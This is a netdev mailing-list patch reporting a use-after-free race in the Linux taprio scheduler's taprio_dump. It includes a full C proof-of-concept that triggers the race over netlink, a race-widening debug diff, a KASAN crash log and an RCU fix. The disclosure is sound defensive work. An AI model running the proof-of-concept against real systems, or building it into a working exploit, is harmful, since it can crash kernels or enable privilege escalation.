[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-Id: <20240103023348.71473-1-bob.p0pk3rn@gmail.com>
Date: Wed, 3 Jan 2024 11:33:51 +0900
From: Team p0pk3rn <bob.p0pk3rn@...il.com>
To: vinicius.gomes@...el.com
Cc: netdev@...r.kernel.org,
edumazet@...gle.com,
Team p0pk3rn <bob.p0pk3rn@...il.com>
Subject: [PATCH] net/sched: taprio: fix use-after-free in taprio_dump
Hi, We suggest patch for fixing use-after-free in taprio_dump.
If it has old sched_gate_list structure in taprio_dump function and the object gets freed by taprio_free_sched_cb,
freed sched_gate_list structure can be used while replacing oper_sched in switch_schedules.
Followings are race scenario, poc, patch and header file for poc, KASAN crash log, and suggested patch.
We suggest applying rcu patch on dereferencing the structure like in commit, taprio: Add support adding an admin schedule (a3d43c0d56f1)
switch_schedules taprio_dump
oper = rtnl_dereference(q->oper_sched);
rcu_assign_pointer(q->oper_sched, *admin);
rcu_assign_pointer(q->admin_sched, NULL);
call_rcu(&(*oper)->rcu, taprio_free_sched_cb);
kfree(sched);
if (oper && taprio_dump_tc_entries(skb, q, oper))
if (nla_put_u32(skb, TCA_TAPRIO_TC_ENTRY_MAX_SDU, sched->max_sdu[tc])) // UAF
poc.patch:
```
diff --git a/net/sched/sch_taprio.c b/net/sched/sch_taprio.c
index 31a8252bd09c..48138a8a59a8 100644
--- a/net/sched/sch_taprio.c
+++ b/net/sched/sch_taprio.c
@@ -980,6 +980,8 @@ static enum hrtimer_restart advance_sched(struct hrtimer *timer)
/* Set things so the next time this runs, the new
* schedule runs.
*/
+ printk(KERN_ALERT "[CPU:%d] advance_sched -> switch_schedules (current->comm: %s)\n", smp_processor_id(), current->comm);
+ mdelay(10);
end_time = sched_base_time(admin);
switch_schedules(q, &admin, &oper);
}
@@ -2396,7 +2398,7 @@ static int taprio_dump(struct Qdisc *sch, struct sk_buff *skb)
oper = rtnl_dereference(q->oper_sched);
admin = rtnl_dereference(q->admin_sched);
-
+ if(!strcmp(current->comm,"poc")){printk(KERN_ALERT "[CPU:%d] taprio_dump (oper: 0x%lx)\n", smp_processor_id(), oper);ssleep(1);}
mqprio_qopt_reconstruct(dev, &opt);
nest = nla_nest_start_noflag(skb, TCA_OPTIONS);
```
list.h:
```c
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __LIST_H__
#define __LIST_H__ 1
/* List and hash list stuff from kernel */
#include <stddef.h>
#define container_of(ptr, type, member) ({ \
const typeof( ((type *)0)->member ) *__mptr = (ptr); \
(type *)( (char *)__mptr - offsetof(type,member) );})
struct list_head {
struct list_head *next, *prev;
};
static inline void INIT_LIST_HEAD(struct list_head *list)
{
list->next = list;
list->prev = list;
}
static inline void __list_add(struct list_head *new,
struct list_head *prev,
struct list_head *next)
{
next->prev = new;
new->next = next;
new->prev = prev;
prev->next = new;
}
static inline void list_add(struct list_head *new, struct list_head *head)
{
__list_add(new, head, head->next);
}
static inline void list_add_tail(struct list_head *new, struct list_head *head)
{
__list_add(new, head->prev, head);
}
static inline void __list_del(struct list_head *prev, struct list_head *next)
{
next->prev = prev;
prev->next = next;
}
static inline void list_del(struct list_head *entry)
{
__list_del(entry->prev, entry->next);
}
#define list_entry(ptr, type, member) \
container_of(ptr, type, member)
#define list_first_entry(ptr, type, member) \
list_entry((ptr)->next, type, member)
#define list_last_entry(ptr, type, member) \
list_entry((ptr)->prev, type, member)
#define list_next_entry(pos, member) \
list_entry((pos)->member.next, typeof(*(pos)), member)
#define list_prev_entry(pos, member) \
list_entry((pos)->member.prev, typeof(*(pos)), member)
#define list_for_each_entry(pos, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member); \
&pos->member != (head); \
pos = list_next_entry(pos, member))
#define list_for_each_entry_safe(pos, n, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member), \
n = list_next_entry(pos, member); \
&pos->member != (head); \
pos = n, n = list_next_entry(n, member))
#define list_for_each_entry_reverse(pos, head, member) \
for (pos = list_last_entry(head, typeof(*pos), member); \
&pos->member != (head); \
pos = list_prev_entry(pos, member))
struct hlist_head {
struct hlist_node *first;
};
struct hlist_node {
struct hlist_node *next, **pprev;
};
static inline void hlist_del(struct hlist_node *n)
{
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;
*pprev = next;
if (next)
next->pprev = pprev;
}
static inline void hlist_add_head(struct hlist_node *n, struct hlist_head *h)
{
struct hlist_node *first = h->first;
n->next = first;
if (first)
first->pprev = &n->next;
h->first = n;
n->pprev = &h->first;
}
static inline int list_empty(const struct list_head *head)
{
return head->next == head;
}
#define hlist_for_each(pos, head) \
for (pos = (head)->first; pos ; pos = pos->next)
#define hlist_for_each_safe(pos, n, head) \
for (pos = (head)->first; pos && ({ n = pos->next; 1; }); \
pos = n)
#define hlist_entry_safe(ptr, type, member) \
({ typeof(ptr) ____ptr = (ptr); \
____ptr ? hlist_entry(____ptr, type, member) : NULL; \
})
#define hlist_for_each_entry(pos, head, member) \
for (pos = hlist_entry_safe((head)->first, typeof(*(pos)), member);\
pos; \
pos = hlist_entry_safe((pos)->member.next, typeof(*(pos)), member))
#endif /* __LIST_H__ */
```
poc.c:
```c
#include <stdio.h>
#include <asm/types.h>
#include <sys/types.h>
#include <linux/pkt_sched.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <stdint.h>
#include "list.h"
#ifndef max
#define max(a,b) (((a) > (b)) ? (a) : (b))
#endif
#define TCA_TAPRIO_ATTR_TC_ENTRY 12
enum {
TCA_TAPRIO_TC_ENTRY_UNSPEC,
TCA_TAPRIO_TC_ENTRY_INDEX, /* u32 */
TCA_TAPRIO_TC_ENTRY_MAX_SDU, /* u32 */
TCA_TAPRIO_TC_ENTRY_FP, /* u32 */
/* add new constants above here */
__TCA_TAPRIO_TC_ENTRY_CNT,
TCA_TAPRIO_TC_ENTRY_MAX = (__TCA_TAPRIO_TC_ENTRY_CNT - 1)
};
#define DEV_INDEX 2 // dev->num_tx_queues > 1
#define TCA_BUF_MAX (64*1024)
#define NLMSG_TAIL(nmsg) \
((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
struct sched_entry {
struct list_head list;
uint32_t index;
uint32_t interval;
uint32_t gatemask;
uint8_t cmd;
};
struct req {
struct nlmsghdr nl;
struct tcmsg tc;
char buf[TCA_BUF_MAX];
};
int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,
int alen)
{
int len = RTA_LENGTH(alen);
struct rtattr *rta;
if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
fprintf(stderr,
"addattr_l ERROR: message exceeded bound of %d\n",
maxlen);
return -1;
}
rta = NLMSG_TAIL(n);
rta->rta_type = type;
rta->rta_len = len;
if (alen)
memcpy(RTA_DATA(rta), data, alen);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
return 0;
}
struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type)
{
struct rtattr *nest = NLMSG_TAIL(n);
addattr_l(n, maxlen, type, NULL, 0);
return nest;
}
int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest)
{
nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
return n->nlmsg_len;
}
static struct sched_entry *create_entry(uint32_t gatemask, uint32_t interval, uint8_t cmd)
{
struct sched_entry *e;
e = calloc(1, sizeof(*e));
if (!e)
return NULL;
e->gatemask = gatemask;
e->interval = interval;
e->cmd = cmd;
return e;
}
static int add_sched_list(struct list_head *sched_entries, struct nlmsghdr *n)
{
struct sched_entry *e;
list_for_each_entry(e, sched_entries, list) {
struct rtattr *a;
a = addattr_nest(n, 1024, TCA_TAPRIO_SCHED_ENTRY);
addattr_l(n, 1024, TCA_TAPRIO_SCHED_ENTRY_CMD, &e->cmd, sizeof(e->cmd));
addattr_l(n, 1024, TCA_TAPRIO_SCHED_ENTRY_GATE_MASK, &e->gatemask, sizeof(e->gatemask));
addattr_l(n, 1024, TCA_TAPRIO_SCHED_ENTRY_INTERVAL, &e->interval, sizeof(e->interval));
addattr_nest_end(n, a);
}
return 0;
}
int create_taprio() {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if(fd == -1) {
printf("Error in socket: %s\n", strerror(errno));
return -1;
}
struct sockaddr_nl la;
memset((void *)&la, 0, sizeof(struct sockaddr_nl));
la.nl_family = AF_NETLINK;
la.nl_pid = 0;
if(bind(fd, (struct sockaddr*)&la, sizeof(la)) == -1) {
printf("Error in bind: %s\n", strerror(errno));
return -1;
}
struct req d;
memset((void *)&d, 0, sizeof(struct req));
d.nl.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
d.nl.nlmsg_type = RTM_NEWQDISC;
d.nl.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP | NLM_F_CREATE | NLM_F_ACK | NLM_F_REPLACE;
d.nl.nlmsg_seq = 0;
d.nl.nlmsg_pid = 0;
d.tc.tcm_family = AF_UNSPEC;
d.tc.tcm_ifindex = DEV_INDEX;
d.tc.tcm_handle = 0;
d.tc.tcm_parent = TC_H_ROOT;
d.tc.tcm_info = 0;
char data[] = "taprio";
addattr_l(&d.nl, sizeof(d), TCA_KIND, data, strlen(data)+1);
struct rtattr *tail, *l;
tail = NLMSG_TAIL(&d.nl);
addattr_l(&d.nl, sizeof(d), TCA_OPTIONS, NULL, 0);
clockid_t clockid = CLOCK_TAI;
addattr_l(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_SCHED_CLOCKID, &clockid, sizeof(clockid));
struct tc_mqprio_qopt opt = { };
opt.num_tc = 3;
unsigned char prio_tc_map[] = { 2, 2, 1, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 };
memcpy(&opt.prio_tc_map, prio_tc_map, sizeof(prio_tc_map));
opt.count[0] = 1;
opt.offset[0] = 0;
opt.count[1] = 1;
opt.offset[1] = 1;
opt.count[2] = 2;
opt.offset[2] = 2;
addattr_l(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_PRIOMAP, &opt, sizeof(opt));
unsigned long base_time = 1528743495910289988;
addattr_l(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_SCHED_BASE_TIME, &base_time, sizeof(base_time));
struct sched_entry *e;
struct list_head sched_entries;
INIT_LIST_HEAD(&sched_entries);
int cmd;
unsigned int mask;
unsigned int interval;
cmd = TC_TAPRIO_CMD_SET_GATES;
mask = 0x01;
interval = 0300000;
e = create_entry(mask, interval, cmd);
list_add_tail(&e->list, &sched_entries);
cmd = TC_TAPRIO_CMD_SET_GATES;
mask = 0x02;
interval = 0300000;
e = create_entry(mask, interval, cmd);
list_add_tail(&e->list, &sched_entries);
cmd = TC_TAPRIO_CMD_SET_GATES;
mask = 0x04;
interval = 0300000;
e = create_entry(mask, interval, cmd);
list_add_tail(&e->list, &sched_entries);
l = addattr_nest(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST | NLA_F_NESTED);
add_sched_list(&sched_entries, &d.nl);
addattr_nest_end(&d.nl, l);
tail->rta_len = (void *) NLMSG_TAIL(&d.nl) - (void *) tail;
struct msghdr msg;
memset((void *)&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&la;
msg.msg_namelen = sizeof(la);
struct iovec iov;
memset((void *)&iov, 0, sizeof(struct iovec));
iov.iov_base = (void *)&d.nl;
iov.iov_len = d.nl.nlmsg_len;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if(sendmsg(fd, &msg, 0) == -1) {
printf("Error in sendmsg: %s\n", strerror(errno));
return -1;
}
close(fd);
return 1;
}
int change_taprio() {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if(fd == -1) {
printf("Error in socket: %s\n", strerror(errno));
return -1;
}
struct sockaddr_nl la;
memset((void *)&la, 0, sizeof(struct sockaddr_nl));
la.nl_family = AF_NETLINK;
la.nl_pid = 0;
if(bind(fd, (struct sockaddr*)&la, sizeof(la)) == -1) {
printf("Error in bind: %s\n", strerror(errno));
return -1;
}
struct req d;
memset((void *)&d, 0, sizeof(struct req));
d.nl.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
d.nl.nlmsg_type = RTM_NEWQDISC;
d.nl.nlmsg_flags = NLM_F_REQUEST & ~NLM_F_EXCL;
d.nl.nlmsg_seq = 0;
d.nl.nlmsg_pid = 0;
d.tc.tcm_family = AF_UNSPEC;
d.tc.tcm_ifindex = DEV_INDEX;
d.tc.tcm_handle = 0x80010000;
d.tc.tcm_parent = TC_H_UNSPEC;
d.tc.tcm_info = 0;
char data[] = "taprio";
addattr_l(&d.nl, sizeof(d), TCA_KIND, data, strlen(data)+1);
struct rtattr *tail, *l;
tail = NLMSG_TAIL(&d.nl);
addattr_l(&d.nl, sizeof(d), TCA_OPTIONS, NULL, 0);
clockid_t clockid = CLOCK_TAI;
addattr_l(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_SCHED_CLOCKID, &clockid, sizeof(clockid));
struct tc_mqprio_qopt opt = { };
opt.num_tc = 3;
unsigned char prio_tc_map[] = { 2, 2, 1, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 };
memcpy(&opt.prio_tc_map, prio_tc_map, sizeof(prio_tc_map));
opt.count[0] = 1;
opt.offset[0] = 0;
opt.count[1] = 1;
opt.offset[1] = 1;
opt.count[2] = 2;
opt.offset[2] = 2;
addattr_l(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_PRIOMAP, &opt, sizeof(opt));
unsigned long base_time = 1528743495910289988;
addattr_l(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_SCHED_BASE_TIME, &base_time, sizeof(base_time));
struct sched_entry *e;
struct list_head sched_entries;
INIT_LIST_HEAD(&sched_entries);
int cmd;
unsigned int mask;
unsigned int interval;
cmd = TC_TAPRIO_CMD_SET_GATES;
mask = 0x01;
interval = 0300000;
e = create_entry(mask, interval, cmd);
list_add_tail(&e->list, &sched_entries);
cmd = TC_TAPRIO_CMD_SET_GATES;
mask = 0x02;
interval = 0300000;
e = create_entry(mask, interval, cmd);
list_add_tail(&e->list, &sched_entries);
cmd = TC_TAPRIO_CMD_SET_GATES;
mask = 0x04;
interval = 0300000;
e = create_entry(mask, interval, cmd);
list_add_tail(&e->list, &sched_entries);
l = addattr_nest(&d.nl, sizeof(d), TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST | NLA_F_NESTED);
add_sched_list(&sched_entries, &d.nl);
addattr_nest_end(&d.nl, l);
tail->rta_len = (void *) NLMSG_TAIL(&d.nl) - (void *) tail;
struct msghdr msg;
memset((void *)&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&la;
msg.msg_namelen = sizeof(la);
struct iovec iov;
memset((void *)&iov, 0, sizeof(struct iovec));
iov.iov_base = (void *)&d.nl;
iov.iov_len = d.nl.nlmsg_len;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if(sendmsg(fd, &msg, 0) == -1) {
printf("Error in sendmsg: %s\n", strerror(errno));
return -1;
}
close(fd);
return 1;
}
int main() {
puts("creating taprio..");
create_taprio();
while (1) {
puts("changing taprio..");
change_taprio();
sleep(1);
}
return 0;
}
```
==================================================================
BUG: KASAN: slab-use-after-free in taprio_dump_tc_entries net/sched/sch_taprio.c:2306 [inline]
BUG: KASAN: slab-use-after-free in taprio_dump+0xb2b/0xc70 net/sched/sch_taprio.c:2420
Read of size 4 at addr ffff88805d203cc0 by task syz-executor.7/42004
CPU: 0 PID: 42004 Comm: syz-executor.7 Not tainted 6.7.0-rc4 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:88 [inline]
dump_stack_lvl+0xd9/0x150 lib/dump_stack.c:106
print_address_description.constprop.0+0x2c/0x3c0 mm/kasan/report.c:364
print_report+0xab/0x250 mm/kasan/report.c:475
kasan_report+0xbe/0xf0 mm/kasan/report.c:588
taprio_dump_tc_entries net/sched/sch_taprio.c:2306 [inline]
taprio_dump+0xb2b/0xc70 net/sched/sch_taprio.c:2420
tc_fill_qdisc+0x5e6/0x1220 net/sched/sch_api.c:952
qdisc_notify.isra.0+0x2c1/0x330 net/sched/sch_api.c:1024
tc_modify_qdisc+0x7be/0x1860 net/sched/sch_api.c:1719
rtnetlink_rcv_msg+0x3cb/0xf10 net/core/rtnetlink.c:6558
netlink_rcv_skb+0x165/0x420 net/netlink/af_netlink.c:2545
netlink_unicast_kernel net/netlink/af_netlink.c:1342 [inline]
netlink_unicast+0x54d/0x810 net/netlink/af_netlink.c:1368
netlink_sendmsg+0x92f/0xe50 net/netlink/af_netlink.c:1910
sock_sendmsg_nosec net/socket.c:730 [inline]
__sock_sendmsg+0xda/0x180 net/socket.c:745
____sys_sendmsg+0x70f/0x870 net/socket.c:2584
___sys_sendmsg+0x11d/0x1b0 net/socket.c:2638
__sys_sendmsg+0xfe/0x1d0 net/socket.c:2667
do_syscall_x64 arch/x86/entry/common.c:51 [inline]
do_syscall_64+0x3f/0xe0 arch/x86/entry/common.c:82
entry_SYSCALL_64_after_hwframe+0x63/0x6b
RIP: 0033:0x7f56f368ed2d
Code: c3 e8 97 2b 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f56f43e5028 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 00007f56f37cbf80 RCX: 00007f56f368ed2d
RDX: 0000000000000000 RSI: 00000000200007c0 RDI: 0000000000000004
RBP: 00007f56f36f04a6 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 000000000000000b R14: 00007f56f37cbf80 R15: 00007f56f43c5000
</TASK>
Allocated by task 41957:
kasan_save_stack+0x22/0x40 mm/kasan/common.c:45
kasan_set_track+0x25/0x30 mm/kasan/common.c:52
____kasan_kmalloc mm/kasan/common.c:374 [inline]
__kasan_kmalloc+0xa2/0xb0 mm/kasan/common.c:383
kmalloc include/linux/slab.h:600 [inline]
kzalloc include/linux/slab.h:721 [inline]
taprio_change+0x60c/0x2870 net/sched/sch_taprio.c:1881
taprio_init+0x6b5/0x940 net/sched/sch_taprio.c:2134
qdisc_create+0x4d1/0x10b0 net/sched/sch_api.c:1326
tc_modify_qdisc+0x48e/0x1860 net/sched/sch_api.c:1747
rtnetlink_rcv_msg+0x3cb/0xf10 net/core/rtnetlink.c:6558
netlink_rcv_skb+0x165/0x420 net/netlink/af_netlink.c:2545
netlink_unicast_kernel net/netlink/af_netlink.c:1342 [inline]
netlink_unicast+0x54d/0x810 net/netlink/af_netlink.c:1368
netlink_sendmsg+0x92f/0xe50 net/netlink/af_netlink.c:1910
sock_sendmsg_nosec net/socket.c:730 [inline]
__sock_sendmsg+0xda/0x180 net/socket.c:745
____sys_sendmsg+0x70f/0x870 net/socket.c:2584
___sys_sendmsg+0x11d/0x1b0 net/socket.c:2638
__sys_sendmsg+0xfe/0x1d0 net/socket.c:2667
do_syscall_x64 arch/x86/entry/common.c:51 [inline]
do_syscall_64+0x3f/0xe0 arch/x86/entry/common.c:82
entry_SYSCALL_64_after_hwframe+0x63/0x6b
Freed by task 2250:
kasan_save_stack+0x22/0x40 mm/kasan/common.c:45
kasan_set_track+0x25/0x30 mm/kasan/common.c:52
kasan_save_free_info+0x2b/0x40 mm/kasan/generic.c:522
____kasan_slab_free+0x15e/0x1c0 mm/kasan/common.c:236
kasan_slab_free include/linux/kasan.h:164 [inline]
slab_free_hook mm/slub.c:1800 [inline]
slab_free_freelist_hook+0x95/0x1d0 mm/slub.c:1826
slab_free mm/slub.c:3809 [inline]
__kmem_cache_free+0xc0/0x180 mm/slub.c:3822
rcu_do_batch+0x38c/0xd20 kernel/rcu/tree.c:2158
rcu_core+0x273/0x4b0 kernel/rcu/tree.c:2431
__do_softirq+0x1d4/0x850 kernel/softirq.c:553
Last potentially related work creation:
kasan_save_stack+0x22/0x40 mm/kasan/common.c:45
__kasan_record_aux_stack+0xbc/0xd0 mm/kasan/generic.c:492
__call_rcu_common.constprop.0+0x99/0x790 kernel/rcu/tree.c:2681
switch_schedules net/sched/sch_taprio.c:210 [inline]
advance_sched+0x5d3/0xce0 net/sched/sch_taprio.c:984
__run_hrtimer kernel/time/hrtimer.c:1688 [inline]
__hrtimer_run_queues+0x604/0xc00 kernel/time/hrtimer.c:1752
hrtimer_interrupt+0x320/0x7b0 kernel/time/hrtimer.c:1814
local_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1065 [inline]
__sysvec_apic_timer_interrupt+0x105/0x3f0 arch/x86/kernel/apic/apic.c:1082
sysvec_apic_timer_interrupt+0x92/0xc0 arch/x86/kernel/apic/apic.c:1076
asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:645
Second to last potentially related work creation:
kasan_save_stack+0x22/0x40 mm/kasan/common.c:45
__kasan_record_aux_stack+0xbc/0xd0 mm/kasan/generic.c:492
kvfree_call_rcu+0xfe/0x480 kernel/rcu/tree.c:3400
drop_sysctl_table+0x2f1/0x3b0 fs/proc/proc_sysctl.c:1508
unregister_sysctl_table+0x41/0x60 fs/proc/proc_sysctl.c:1529
neigh_sysctl_unregister+0x5f/0x80 net/core/neighbour.c:3873
addrconf_ifdown.isra.0+0x13af/0x1970 net/ipv6/addrconf.c:3957
addrconf_notify+0x105/0x1210 net/ipv6/addrconf.c:3727
notifier_call_chain+0xba/0x3d0 kernel/notifier.c:93
call_netdevice_notifiers_info+0xbe/0x130 net/core/dev.c:1967
call_netdevice_notifiers_extack net/core/dev.c:2005 [inline]
call_netdevice_notifiers net/core/dev.c:2019 [inline]
unregister_netdevice_many_notify+0x6e2/0x1460 net/core/dev.c:11040
vti6_exit_batch_net+0x37d/0x3f0 net/ipv6/ip6_vti.c:1188
ops_exit_list+0x125/0x170 net/core/net_namespace.c:175
cleanup_net+0x4ee/0x9d0 net/core/net_namespace.c:614
process_one_work+0x830/0x1540 kernel/workqueue.c:2630
process_scheduled_works kernel/workqueue.c:2703 [inline]
worker_thread+0x855/0x11f0 kernel/workqueue.c:2784
kthread+0x346/0x450 kernel/kthread.c:388
ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147
ret_from_fork_asm+0x11/0x20 arch/x86/entry/entry_64.S:242
The buggy address belongs to the object at ffff88805d203c00
which belongs to the cache kmalloc-512 of size 512
The buggy address is located 192 bytes inside of
freed 512-byte region [ffff88805d203c00, ffff88805d203e00)
The buggy address belongs to the physical page:
page:ffffea0001748000 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x5d200
head:ffffea0001748000 order:2 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000840(slab|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: 0xffffffff()
raw: 00fff00000000840 ffff88800cc41c80 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0x1d2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC|__GFP_HARDWALL), pid 10126, tgid 10126 (kworker/u5:5), ts 66769655423, free_ts 66738009716
set_page_owner include/linux/page_owner.h:31 [inline]
post_alloc_hook+0x2d8/0x350 mm/page_alloc.c:1537
prep_new_page mm/page_alloc.c:1544 [inline]
get_page_from_freelist+0x8a8/0xeb0 mm/page_alloc.c:3312
__alloc_pages+0x1cb/0x4a0 mm/page_alloc.c:4568
alloc_pages_mpol+0x245/0x5e0 mm/mempolicy.c:2133
alloc_slab_page mm/slub.c:1870 [inline]
allocate_slab+0x261/0x390 mm/slub.c:2017
___slab_alloc+0x967/0x11b0 mm/slub.c:3223
__slab_alloc.constprop.0+0x56/0xa0 mm/slub.c:3322
__slab_alloc_node mm/slub.c:3375 [inline]
slab_alloc_node mm/slub.c:3468 [inline]
__kmem_cache_alloc_node+0x2c6/0x340 mm/slub.c:3517
kmalloc_trace+0x26/0xe0 mm/slab_common.c:1098
kmalloc include/linux/slab.h:600 [inline]
kzalloc include/linux/slab.h:721 [inline]
tomoyo_find_next_domain+0xd5/0x1630 security/tomoyo/domain.c:710
tomoyo_bprm_check_security+0x137/0x1c0 security/tomoyo/tomoyo.c:101
security_bprm_check+0x49/0xb0 security/security.c:1103
search_binary_handler+0xde/0x6e0 fs/exec.c:1725
exec_binprm+0x146/0x770 fs/exec.c:1779
bprm_execve+0x1f2/0x6a0 fs/exec.c:1854
kernel_execve+0x3ba/0x4b0 fs/exec.c:2022
page last free stack trace:
reset_page_owner include/linux/page_owner.h:24 [inline]
free_pages_prepare mm/page_alloc.c:1137 [inline]
free_unref_page_prepare+0x4c6/0xb20 mm/page_alloc.c:2347
free_unref_page+0x33/0x3d0 mm/page_alloc.c:2487
__unfreeze_partials+0x1fb/0x210 mm/slub.c:2655
qlink_free mm/kasan/quarantine.c:168 [inline]
qlist_free_all+0x6a/0x170 mm/kasan/quarantine.c:187
kasan_quarantine_reduce+0x18e/0x1d0 mm/kasan/quarantine.c:294
__kasan_slab_alloc+0x63/0x90 mm/kasan/common.c:305
kasan_slab_alloc include/linux/kasan.h:188 [inline]
slab_post_alloc_hook mm/slab.h:763 [inline]
slab_alloc_node mm/slub.c:3478 [inline]
slab_alloc mm/slub.c:3486 [inline]
__kmem_cache_alloc_lru mm/slub.c:3493 [inline]
kmem_cache_alloc+0x163/0x390 mm/slub.c:3502
getname_flags+0xd6/0x5c0 fs/namei.c:140
do_sys_openat2+0xe8/0x1c0 fs/open.c:1434
do_sys_open fs/open.c:1455 [inline]
__do_sys_openat fs/open.c:1471 [inline]
__se_sys_openat fs/open.c:1466 [inline]
__x64_sys_openat+0x140/0x1f0 fs/open.c:1466
do_syscall_x64 arch/x86/entry/common.c:51 [inline]
do_syscall_64+0x3f/0xe0 arch/x86/entry/common.c:82
entry_SYSCALL_64_after_hwframe+0x63/0x6b
Memory state around the buggy address:
ffff88805d203b80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff88805d203c00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88805d203c80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88805d203d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88805d203d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
patch:
Signed-off-by: Team p0pk3rn <bob.p0pk3rn@...il.com>
Reported-by: Team p0pk3rn <bob.p0pk3rn@...il.com>
Fixes: 18cdd2f0998a ("net/sched: taprio: taprio_dump and taprio_change are protected by rtnl_mutex")
---
net/sched/sch_taprio.c | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
diff --git a/net/sched/sch_taprio.c b/net/sched/sch_taprio.c
index 31a8252bd09c..0b7b3e462f1a 100644
--- a/net/sched/sch_taprio.c
+++ b/net/sched/sch_taprio.c
@@ -2394,8 +2394,9 @@ static int taprio_dump(struct Qdisc *sch, struct sk_buff *skb)
struct tc_mqprio_qopt opt = { 0 };
struct nlattr *nest, *sched_nest;
- oper = rtnl_dereference(q->oper_sched);
- admin = rtnl_dereference(q->admin_sched);
+ rcu_read_lock();
+ oper = rcu_dereference(q->oper_sched);
+ admin = rcu_dereference(q->admin_sched);
mqprio_qopt_reconstruct(dev, &opt);
@@ -2436,6 +2437,7 @@ static int taprio_dump(struct Qdisc *sch, struct sk_buff *skb)
nla_nest_end(skb, sched_nest);
done:
+ rcu_read_unlock();
return nla_nest_end(skb, nest);
admin_error:
@@ -2445,6 +2447,7 @@ static int taprio_dump(struct Qdisc *sch, struct sk_buff *skb)
nla_nest_cancel(skb, nest);
start_error:
+ rcu_read_unlock();
return -ENOSPC;
}
--
2.34.1
Powered by blists - more mailing lists